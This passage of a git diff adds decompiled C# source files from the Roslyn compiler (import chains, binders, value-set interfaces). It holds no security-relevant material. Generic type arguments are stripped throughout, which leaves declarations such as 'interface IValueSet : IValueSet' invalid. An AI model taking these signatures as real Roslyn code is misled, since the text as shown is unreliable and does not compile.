Invalid comparison between Unknown and I4 + TypeSymbol hostObjectType = GetHostObjectType(); + if ((int)hostObjectType.Kind == 4) + { + result.SetFrom((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NameNotInContextPossibleMissingReference, new object[2] + { + name, + ((MissingMetadataTypeSymbol)hostObjectType).ContainingAssembly.Identity + }, ImmutableArray.Empty, ImmutableArray.Empty)); + } + else + { + LookupMembersInternal(result, hostObjectType, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + TypeSymbol hostObjectType = GetHostObjectType(); + if ((int)hostObjectType.Kind != 4) + { + AddMemberLookupSymbolsInfo(result, hostObjectType, options, originalBinder); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundInvalidNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundInvalidNode.cs new file mode 100644 index 0000000..eda327e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundInvalidNode.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal interface IBoundInvalidNode +{ + ImmutableArray InvalidNodeChildren { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundLambdaOrFunction.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundLambdaOrFunction.cs new file mode 100644 index 0000000..724062c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IBoundLambdaOrFunction.cs @@ -0,0 +1,14 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal interface IBoundLambdaOrFunction +{ + MethodSymbol Symbol { get; } + + SyntaxNode Syntax { get; } + + BoundBlock? Body { get; } + + bool WasCompilerGenerated { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSet.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSet.cs new file mode 100644 index 0000000..8252bd1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSet.cs @@ -0,0 +1,30 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal interface IValueSet +{ + bool IsEmpty { get; } + + ConstantValue? Sample { get; } + + IValueSet Intersect(IValueSet other); + + IValueSet Union(IValueSet other); + + IValueSet Complement(); + + bool Any(BinaryOperatorKind relation, ConstantValue value); + + bool All(BinaryOperatorKind relation, ConstantValue value); +} +internal interface IValueSet : IValueSet +{ + IValueSet Intersect(IValueSet other); + + IValueSet Union(IValueSet other); + + new IValueSet Complement(); + + bool Any(BinaryOperatorKind relation, T value); + + bool All(BinaryOperatorKind relation, T value); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSetFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSetFactory.cs new file mode 100644 index 0000000..1130471 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IValueSetFactory.cs @@ -0,0 +1,22 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal interface IValueSetFactory +{ + IValueSet AllValues { get; } + + IValueSet NoValues { get; } + + IValueSet Related(BinaryOperatorKind relation, ConstantValue value); + + bool Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right); + + IValueSet Random(int expectedSize, Random random); + + ConstantValue RandomValue(Random random); +} +internal interface IValueSetFactory : IValueSetFactory +{ + IValueSet Related(BinaryOperatorKind relation, T value); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImplicitlyTypedFieldBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImplicitlyTypedFieldBinder.cs new file mode 100644 index 0000000..fed20a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImplicitlyTypedFieldBinder.cs @@ -0,0 +1,17 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ImplicitlyTypedFieldBinder : Binder +{ + private readonly ConsList _fieldsBeingBound; + + internal override ConsList FieldsBeingBound => _fieldsBeingBound; + + public ImplicitlyTypedFieldBinder(Binder next, ConsList fieldsBeingBound) + : base(next, next.Flags) + { + _fieldsBeingBound = fieldsBeingBound; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImportChain.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImportChain.cs new file mode 100644 index 0000000..e3aa0e4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ImportChain.cs @@ -0,0 +1,162 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal sealed class ImportChain : IImportScope +{ + public readonly Imports Imports; + + public readonly ImportChain ParentOpt; + + IImportScope IImportScope.Parent => (IImportScope)(object)ParentOpt; + + public ImportChain(Imports imports, ImportChain parentOpt) + { + Imports = imports; + ParentOpt = parentOpt; + } + + private string GetDebuggerDisplay() + { + return $"{Imports.GetDebuggerDisplay()} ^ {ParentOpt?.GetHashCode() ?? 0}"; + } + + ImmutableArray IImportScope.GetUsedNamespaces(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + ((PEModuleBuilder)(object)context.Module).TryGetTranslatedImports(this, out var imports); + return imports; + } + + public IImportScope Translate(PEModuleBuilder moduleBuilder, DiagnosticBag diagnostics) + { + ImportChain importChain = this; + ImmutableArray imports; + while (importChain != null && !moduleBuilder.TryGetTranslatedImports(importChain, out imports)) + { + moduleBuilder.GetOrAddTranslatedImports(importChain, importChain.TranslateImports(moduleBuilder, diagnostics)); + importChain = importChain.ParentOpt; + } + return (IImportScope)(object)this; + } + + private ImmutableArray TranslateImports(PEModuleBuilder moduleBuilder, DiagnosticBag diagnostics) + { + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Invalid comparison between Unknown and I4 + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_01e5: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray externAliases = Imports.ExternAliases; + if (!externAliases.IsDefault) + { + ImmutableArray.Enumerator enumerator = externAliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + instance.Add(UsedNamespaceOrType.CreateExternAlias(enumerator.Current.Alias.Name)); + } + } + ImmutableArray usings = Imports.Usings; + if (!usings.IsDefault) + { + ImmutableArray.Enumerator enumerator2 = usings.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator2.Current; + NamespaceOrTypeSymbol namespaceOrType = current.NamespaceOrType; + if (namespaceOrType.IsNamespace) + { + NamespaceSymbol namespaceSymbol = (NamespaceSymbol)namespaceOrType; + IAssemblyReference val = TryGetAssemblyScope(namespaceSymbol, moduleBuilder, diagnostics); + instance.Add(UsedNamespaceOrType.CreateNamespace((INamespace)(object)namespaceSymbol.GetCciAdapter(), val, (string)null)); + } + else if (!namespaceOrType.ContainingAssembly.IsLinked) + { + ITypeReference typeReference = GetTypeReference((TypeSymbol)namespaceOrType, (SyntaxNode)(object)current.UsingDirective, moduleBuilder, diagnostics); + instance.Add(UsedNamespaceOrType.CreateType(typeReference, (string)null)); + } + } + } + ImmutableDictionary usingAliases = Imports.UsingAliases; + if (!usingAliases.IsEmpty) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(usingAliases.Count); + instance2.AddRange(usingAliases.Keys); + instance2.Sort((IComparer)StringComparer.Ordinal); + Enumerator enumerator3 = instance2.GetEnumerator(); + while (enumerator3.MoveNext()) + { + string current2 = enumerator3.Current; + AliasAndUsingDirective aliasAndUsingDirective = usingAliases[current2]; + AliasSymbol alias = aliasAndUsingDirective.Alias; + UsingDirectiveSyntax usingDirective = aliasAndUsingDirective.UsingDirective; + NamespaceOrTypeSymbol target = alias.Target; + if ((int)target.Kind == 12) + { + NamespaceSymbol namespaceSymbol2 = (NamespaceSymbol)target; + IAssemblyReference val2 = TryGetAssemblyScope(namespaceSymbol2, moduleBuilder, diagnostics); + instance.Add(UsedNamespaceOrType.CreateNamespace((INamespace)(object)namespaceSymbol2.GetCciAdapter(), val2, current2)); + continue; + } + bool flag; + if (target is NamedTypeSymbol) + { + AssemblySymbol containingAssembly = target.ContainingAssembly; + if ((object)containingAssembly == null || containingAssembly.IsLinked) + { + flag = false; + goto IL_01ca; + } + } + flag = true; + goto IL_01ca; + IL_01ca: + if (flag) + { + ITypeReference typeReference2 = GetTypeReference((TypeSymbol)target, (SyntaxNode)(object)usingDirective, moduleBuilder, diagnostics); + instance.Add(UsedNamespaceOrType.CreateType(typeReference2, current2)); + } + } + instance2.Free(); + } + return instance.ToImmutableAndFree(); + } + + private static ITypeReference GetTypeReference(TypeSymbol type, SyntaxNode syntaxNode, PEModuleBuilder moduleBuilder, DiagnosticBag diagnostics) + { + return ((PEModuleBuilder)moduleBuilder).Translate(type, syntaxNode, diagnostics); + } + + private static IAssemblyReference TryGetAssemblyScope(NamespaceSymbol @namespace, PEModuleBuilder moduleBuilder, DiagnosticBag diagnostics) + { + AssemblySymbol containingAssembly = @namespace.ContainingAssembly; + if ((object)containingAssembly != null && (object)containingAssembly != ((CommonPEModuleBuilder)moduleBuilder).CommonCompilation.Assembly) + { + CSharpCompilation.ReferenceManager boundReferenceManager = ((CSharpCompilation)(object)((CommonPEModuleBuilder)moduleBuilder).CommonCompilation).GetBoundReferenceManager(); + for (int i = 0; i < ((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies.Length; i++) + { + if ((object)((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies[i] == containingAssembly && !((CommonReferenceManager)(object)boundReferenceManager).DeclarationsAccessibleWithoutAlias(i)) + { + return ((PEModuleBuilder)moduleBuilder).Translate(containingAssembly, diagnostics); + } + } + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Imports.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Imports.cs new file mode 100644 index 0000000..7b5fca5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Imports.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal sealed class Imports +{ + private class UsingTargetComparer : IEqualityComparer + { + public static readonly IEqualityComparer Instance = new UsingTargetComparer(); + + private UsingTargetComparer() + { + } + + bool IEqualityComparer.Equals(NamespaceOrTypeAndUsingDirective x, NamespaceOrTypeAndUsingDirective y) + { + return x.NamespaceOrType.Equals(y.NamespaceOrType); + } + + int IEqualityComparer.GetHashCode(NamespaceOrTypeAndUsingDirective obj) + { + return obj.NamespaceOrType.GetHashCode(); + } + } + + internal static readonly Imports Empty = new Imports(ImmutableDictionary.Empty, ImmutableArray.Empty, ImmutableArray.Empty); + + public readonly ImmutableDictionary UsingAliases; + + public readonly ImmutableArray Usings; + + public readonly ImmutableArray ExternAliases; + + public bool IsEmpty + { + get + { + if (UsingAliases.IsEmpty && Usings.IsEmpty) + { + return ExternAliases.IsEmpty; + } + return false; + } + } + + private Imports(ImmutableDictionary usingAliases, ImmutableArray usings, ImmutableArray externs) + { + UsingAliases = usingAliases; + Usings = usings; + ExternAliases = externs; + } + + internal string GetDebuggerDisplay() + { + return string.Join("; ", (from ua in UsingAliases.OrderBy(delegate(KeyValuePair x) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + TextSpan sourceSpan = ((SyntaxNode)x.Value.UsingDirective).Location.SourceSpan; + return ((TextSpan)(ref sourceSpan)).Start; + }) + select $"{ua.Key} = {ua.Value.Alias.Target}").Concat(Usings.Select((NamespaceOrTypeAndUsingDirective u) => u.NamespaceOrType.ToString())).Concat(ExternAliases.Select((AliasAndExternAliasDirective ea) => "extern alias " + ea.Alias.Name))); + } + + internal static Imports ExpandPreviousSubmissionImports(Imports previousSubmissionImports, CSharpCompilation newSubmission) + { + if (previousSubmissionImports == Empty) + { + return Empty; + } + ImmutableDictionary usingAliases = ImmutableDictionary.Empty; + if (!previousSubmissionImports.UsingAliases.IsEmpty) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + foreach (KeyValuePair usingAlias in previousSubmissionImports.UsingAliases) + { + string key = usingAlias.Key; + AliasAndUsingDirective value = usingAlias.Value; + builder.Add(key, new AliasAndUsingDirective(value.Alias.ToNewSubmission(newSubmission), value.UsingDirective)); + } + usingAliases = builder.ToImmutable(); + } + ImmutableArray usings = ExpandPreviousSubmissionImports(previousSubmissionImports.Usings, newSubmission); + return Create(usingAliases, usings, previousSubmissionImports.ExternAliases); + } + + internal static ImmutableArray ExpandPreviousSubmissionImports(ImmutableArray previousSubmissionUsings, CSharpCompilation newSubmission) + { + if (!previousSubmissionUsings.IsEmpty) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(previousSubmissionUsings.Length); + NamespaceSymbol globalNamespace = newSubmission.GlobalNamespace; + ImmutableArray.Enumerator enumerator = previousSubmissionUsings.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + NamespaceOrTypeSymbol namespaceOrType = current.NamespaceOrType; + if (namespaceOrType.IsType) + { + instance.Add(current); + continue; + } + NamespaceSymbol namespaceOrType2 = ExpandPreviousSubmissionNamespace((NamespaceSymbol)namespaceOrType, globalNamespace); + instance.Add(new NamespaceOrTypeAndUsingDirective(namespaceOrType2, current.UsingDirective, default(ImmutableArray))); + } + return instance.ToImmutableAndFree(); + } + return previousSubmissionUsings; + } + + internal static NamespaceSymbol ExpandPreviousSubmissionNamespace(NamespaceSymbol originalNamespace, NamespaceSymbol expandedGlobalNamespace) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamespaceSymbol namespaceSymbol = originalNamespace; + while (!namespaceSymbol.IsGlobalNamespace) + { + instance.Add(namespaceSymbol.Name); + namespaceSymbol = namespaceSymbol.ContainingNamespace; + } + NamespaceSymbol namespaceSymbol2 = expandedGlobalNamespace; + for (int num = instance.Count - 1; num >= 0; num--) + { + namespaceSymbol2 = namespaceSymbol2.GetMembers(instance[num]).OfType().Single(); + } + instance.Free(); + return namespaceSymbol2; + } + + public static Imports Create(ImmutableDictionary usingAliases, ImmutableArray usings, ImmutableArray externs) + { + if (usingAliases.IsEmpty && usings.IsEmpty && externs.IsEmpty) + { + return Empty; + } + return new Imports(usingAliases, usings, externs); + } + + internal Imports Concat(Imports otherImports) + { + if (this == Empty) + { + return otherImports; + } + if (otherImports == Empty) + { + return this; + } + ImmutableDictionary usingAliases = UsingAliases.SetItems(otherImports.UsingAliases); + ImmutableArray usings = ImmutableArrayExtensions.Distinct(Usings.AddRange(otherImports.Usings), UsingTargetComparer.Instance); + ImmutableArray externs = ConcatExternAliases(ExternAliases, otherImports.ExternAliases); + return Create(usingAliases, usings, externs); + } + + private static ImmutableArray ConcatExternAliases(ImmutableArray externs1, ImmutableArray externs2) + { + if (externs1.Length == 0) + { + return externs2; + } + if (externs2.Length == 0) + { + return externs1; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + ISetExtensions.AddAll((ISet)instance, externs2.Select((AliasAndExternAliasDirective e) => e.Alias.Name)); + return ImmutableArrayExtensions.WhereAsArray>(externs1, (Func, bool>)((AliasAndExternAliasDirective e, PooledHashSet replacedExternAliases) => !((HashSet)(object)replacedExternAliases).Contains(e.Alias.Name)), instance).AddRange(externs2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InContainerBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InContainerBinder.cs new file mode 100644 index 0000000..c3bd89e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InContainerBinder.cs @@ -0,0 +1,103 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class InContainerBinder : Binder +{ + private readonly NamespaceOrTypeSymbol _container; + + internal NamespaceOrTypeSymbol Container => _container; + + internal override Symbol ContainingMemberOrLambda + { + get + { + if (!(_container is MergedNamespaceSymbol mergedNamespaceSymbol)) + { + return _container; + } + return mergedNamespaceSymbol.GetConstituentForCompilation(base.Compilation); + } + } + + private bool IsScriptClass + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)_container.Kind == 11) + { + return ((NamedTypeSymbol)_container).IsScriptClass; + } + return false; + } + } + + internal override bool SupportsExtensionMethods => true; + + internal InContainerBinder(NamespaceOrTypeSymbol container, Binder next) + : base(next) + { + _container = container; + } + + internal override bool IsAccessibleHelper(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + if (_container is NamedTypeSymbol within) + { + return IsSymbolAccessibleConditional(symbol, within, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo); + } + return base.Next.IsAccessibleHelper(symbol, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + + internal override void GetCandidateExtensionMethods(ArrayBuilder methods, string name, int arity, LookupOptions options, Binder originalBinder) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)_container.Kind == 12) + { + ((NamespaceSymbol)_container).GetExtensionMethods(methods, name, arity, options); + } + } + + internal override TypeWithAnnotations GetIteratorElementType() + { + if (IsScriptClass) + { + return TypeWithAnnotations.Create(base.Compilation.GetSpecialType((SpecialType)1)); + } + return base.Next.GetIteratorElementType(); + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if ((options & LookupOptions.NamespaceAliasesOnly) == 0) + { + LookupMembersInternal(result, _container, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + if (result.IsMultiViable && arity == 0 && base.Next is WithExternAndUsingAliasesBinder withExternAndUsingAliasesBinder && withExternAndUsingAliasesBinder.IsUsingAlias(name, originalBinder.IsSemanticModelBinder, basesBeingResolved)) + { + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_ConflictAliasAndMember, name, _container); + ExtendedErrorTypeSymbol symbol = new ExtendedErrorTypeSymbol((NamespaceOrTypeSymbol?)null, name, arity, (DiagnosticInfo?)(object)errorInfo, true, false); + result.SetFrom(LookupResult.Good(symbol)); + } + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + AddMemberLookupSymbolsInfo(result, _container, options, originalBinder); + } + + protected override SourceLocalSymbol LookupLocal(SyntaxToken nameToken) + { + return null; + } + + protected override LocalFunctionSymbol LookupLocalFunction(SyntaxToken nameToken) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InMethodBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InMethodBinder.cs new file mode 100644 index 0000000..c445cfb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InMethodBinder.cs @@ -0,0 +1,319 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class InMethodBinder : LocalScopeBinder +{ + private MultiDictionary _lazyParameterMap; + + private readonly MethodSymbol _methodSymbol; + + private SmallDictionary _lazyDefinitionMap; + + protected override bool InExecutableBinder => true; + + internal override Symbol ContainingMemberOrLambda => _methodSymbol; + + internal override bool IsInMethodBody => true; + + internal override bool IsNestedFunctionBinder => (int)_methodSymbol.MethodKind == 17; + + internal override bool IsDirectlyInIterator => _methodSymbol.IsIterator; + + internal override bool IsIndirectlyInIterator => IsDirectlyInIterator; + + internal override GeneratedLabelSymbol BreakLabel => null; + + internal override GeneratedLabelSymbol ContinueLabel => null; + + public InMethodBinder(MethodSymbol owner, Binder enclosing) + : base(enclosing, (BinderFlags)((uint)enclosing.Flags & 0xFFC0FFFFu)) + { + _methodSymbol = owner; + } + + private static void RecordDefinition(SmallDictionary declarationMap, ImmutableArray definitions) where T : Symbol + { + ImmutableArray.Enumerator enumerator = definitions.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!declarationMap.ContainsKey(current.Name)) + { + declarationMap.Add(current.Name, current); + } + } + } + + protected override SourceLocalSymbol LookupLocal(SyntaxToken nameToken) + { + return null; + } + + protected override LocalFunctionSymbol LookupLocalFunction(SyntaxToken nameToken) + { + return null; + } + + protected override void ValidateYield(YieldStatementSyntax node, BindingDiagnosticBag diagnostics) + { + } + + internal override TypeWithAnnotations GetIteratorElementType() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind = _methodSymbol.RefKind; + TypeSymbol returnType = _methodSymbol.ReturnType; + if (!IsDirectlyInIterator) + { + TypeWithAnnotations iteratorElementTypeFromReturnType = GetIteratorElementTypeFromReturnType(base.Compilation, refKind, returnType, null, null); + if (iteratorElementTypeFromReturnType.IsDefault) + { + return TypeWithAnnotations.Create(CreateErrorType()); + } + return iteratorElementTypeFromReturnType; + } + return _methodSymbol.IteratorElementTypeWithAnnotations; + } + + internal static TypeWithAnnotations GetIteratorElementTypeFromReturnType(CSharpCompilation compilation, RefKind refKind, TypeSymbol returnType, Location errorLocation, BindingDiagnosticBag diagnostics) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected I4, but got Unknown + if ((int)refKind == 0 && (int)returnType.Kind == 11) + { + TypeSymbol originalDefinition = returnType.OriginalDefinition; + SpecialType specialType = originalDefinition.SpecialType; + switch (specialType - 24) + { + case 0: + case 4: + { + NamedTypeSymbol specialType2 = compilation.GetSpecialType((SpecialType)1); + if (diagnostics != null) + { + Binder.ReportUseSite(specialType2, diagnostics, errorLocation); + } + return TypeWithAnnotations.Create(specialType2); + } + case 1: + case 5: + return ((NamedTypeSymbol)returnType).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + } + if (TypeSymbol.Equals(originalDefinition, compilation.GetWellKnownType((WellKnownType)288), (TypeCompareKind)0) || TypeSymbol.Equals(originalDefinition, compilation.GetWellKnownType((WellKnownType)289), (TypeCompareKind)0)) + { + return ((NamedTypeSymbol)returnType).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + } + } + return default(TypeWithAnnotations); + } + + internal static bool IsAsyncStreamInterface(CSharpCompilation compilation, RefKind refKind, TypeSymbol returnType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((int)refKind == 0 && (int)returnType.Kind == 11) + { + TypeSymbol originalDefinition = returnType.OriginalDefinition; + if (TypeSymbol.Equals(originalDefinition, compilation.GetWellKnownType((WellKnownType)288), (TypeCompareKind)0) || TypeSymbol.Equals(originalDefinition, compilation.GetWellKnownType((WellKnownType)289), (TypeCompareKind)0)) + { + return true; + } + } + return false; + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + if (_methodSymbol.ParameterCount == 0 || (options & LookupOptions.NamespaceAliasesOnly) != LookupOptions.Default) + { + return; + } + MultiDictionary val = _lazyParameterMap; + if (val == null) + { + ImmutableArray parameters = _methodSymbol.Parameters; + val = new MultiDictionary(parameters.Length, (IEqualityComparer)EqualityComparer.Default, (IEqualityComparer)null); + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((Flags & BinderFlags.InEEMethodBinder) == 0 || !current.Type.IsDisplayClassType()) + { + val.Add(current.Name, current); + } + } + _lazyParameterMap = val; + } + Enumerator enumerator2 = val[name].GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + ParameterSymbol current2 = enumerator2.Current; + result.MergeEqual(originalBinder.CheckViability(current2, arity, options, null, diagnose, ref useSiteInfo)); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!options.CanConsiderMembers()) + { + return; + } + ImmutableArray.Enumerator enumerator = _methodSymbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } + + private static bool ReportConflictWithParameter(Symbol parameter, Symbol newSymbol, string name, Location newLocation, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Invalid comparison between Unknown and I4 + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected I4, but got Unknown + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Invalid comparison between Unknown and I4 + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected I4, but got Unknown + SymbolKind kind = parameter.Kind; + SymbolKind val = 